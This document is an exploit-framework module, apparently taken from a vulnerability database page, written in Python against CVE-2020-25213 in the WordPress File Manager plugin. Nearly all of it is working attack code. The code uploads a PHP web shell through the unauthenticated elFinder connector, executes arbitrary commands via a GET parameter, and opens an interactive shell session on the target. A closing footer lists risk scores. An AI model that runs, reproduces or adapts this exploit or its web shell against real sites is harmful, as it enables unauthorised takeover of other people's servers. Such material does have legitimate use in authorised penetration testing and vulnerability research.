WordPress File Manager RCE (CVE-2020-25213)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress File Manager elFinder upload RCE (CVE-2020-25213) — execute session."""
from __future__ import annotations
import json
import re
import secrets
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'WordPress File Manager RCE (CVE-2020-25213)',
'description': (
'Exploits CVE-2020-25213 unauthenticated elFinder upload in '
'wp-file-manager to drop a PHP shell, then runs commands via GET. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-25213'],
'platform': Platform.MULTI,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2020-25213',
'https://plugins.trac.wordpress.org/changeset/2373068',
],
'tags': ['wordpress', 'wp', 'file-manager', 'upload', 'php', 'rce', 'unauth', 'cve-2020-25213'],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['wordpress'],
'endpoint_pattern_any': ['/wp-file-manager/'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'elFinder PHP upload'},
{'capability': 'shell', 'from_detail': 'execute session'},
],
'suggested_followups': ['scanner/http/cve_2020_25213_detect'],
},
},
}
base_path = OptString('/', 'WordPress base path', False, advanced=True)
_CONNECTOR = '/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php'
def _prefix(self) -> str:
base = (self.path or self.base_path or '/').strip()
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def _connector(self) -> str:
return f'{self._prefix()}{self._CONNECTOR}'
def _php_shell(self) -> str:
return (
'<?php '
'if(isset($_GET["cmd"])){'
'echo shell_exec($_GET["cmd"]);'
'}'
'?>'
)
def _upload_shell(self) -> tuple[str, str] | None:
filename = f'{secrets.token_hex(4)}.php'
boundary = secrets.token_hex(16)
body = (
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="cmd"\r\n\r\n'
'upload\r\n'
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="target"\r\n\r\n'
'l1_Lw\r\n'
f'--{boundary}\r\n'
'Content-Disposition: form-data; name="mtime[]"\r\n\r\n'
'1576045135\r\n'
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="upload[]"; filename="{filename}"\r\n'
'Content-Type: application/x-php\r\n\r\n'
f'{self._php_shell()}\r\n'
f'--{boundary}--\r\n'
)
r = self.http_request(
method='POST',
path=self._connector(),
data=body.encode(),
headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
allow_redirects=False,
)
if not r or int(r.status_code or 0) != 200:
return None
try:
data = json.loads(r.text or '{}')
except json.JSONDecodeError:
return None
added = data.get('added') or []
if not added:
return None
entry = added[0] if isinstance(added[0], dict) else {}
url = (entry.get('url') or '').replace('\\/', '/')
if url:
if url.startswith('http'):
from urllib.parse import urlparse
return urlparse(url).path, filename
if not url.startswith('/'):
url = '/' + url
return url, filename
hash_id = entry.get('hash') or ''
if hash_id:
return (
f'{self._connector()}?cmd=open&target={hash_id}&download=1',
filename,
)
uploads = f'{self._prefix()}/wp-content/uploads/wp-file-manager-pro/fm_{filename}'
return uploads, filename
def _shell_url(self) -> str | None:
if getattr(self, '_cached_shell', None):
return self._cached_shell
uploaded = self._upload_shell()
if not uploaded:
return None
self._cached_shell = uploaded[0]
return self._cached_shell
def execute(self, cmd: str) -> str:
shell = self._shell_url()
if not shell:
return ''
from urllib.parse import quote
if '?' in shell:
path = f'{shell}&cmd={quote(cmd)}'
else:
path = f'{shell}?cmd={quote(cmd)}'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {
'vulnerable': True,
'reason': 'CVE-2020-25213 confirmed via PHP shell id',
'confidence': 'high',
}
return {
'vulnerable': False,
'reason': 'elFinder upload did not yield a working PHP shell',
'confidence': 'medium',
}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
self._cached_shell = None
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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04 Sep 2026 06:36Current
8.7High risk
Vulners AI Score8.7
CVSS 27.5
CVSS 3.19.8 - 10
EPSS0.97328
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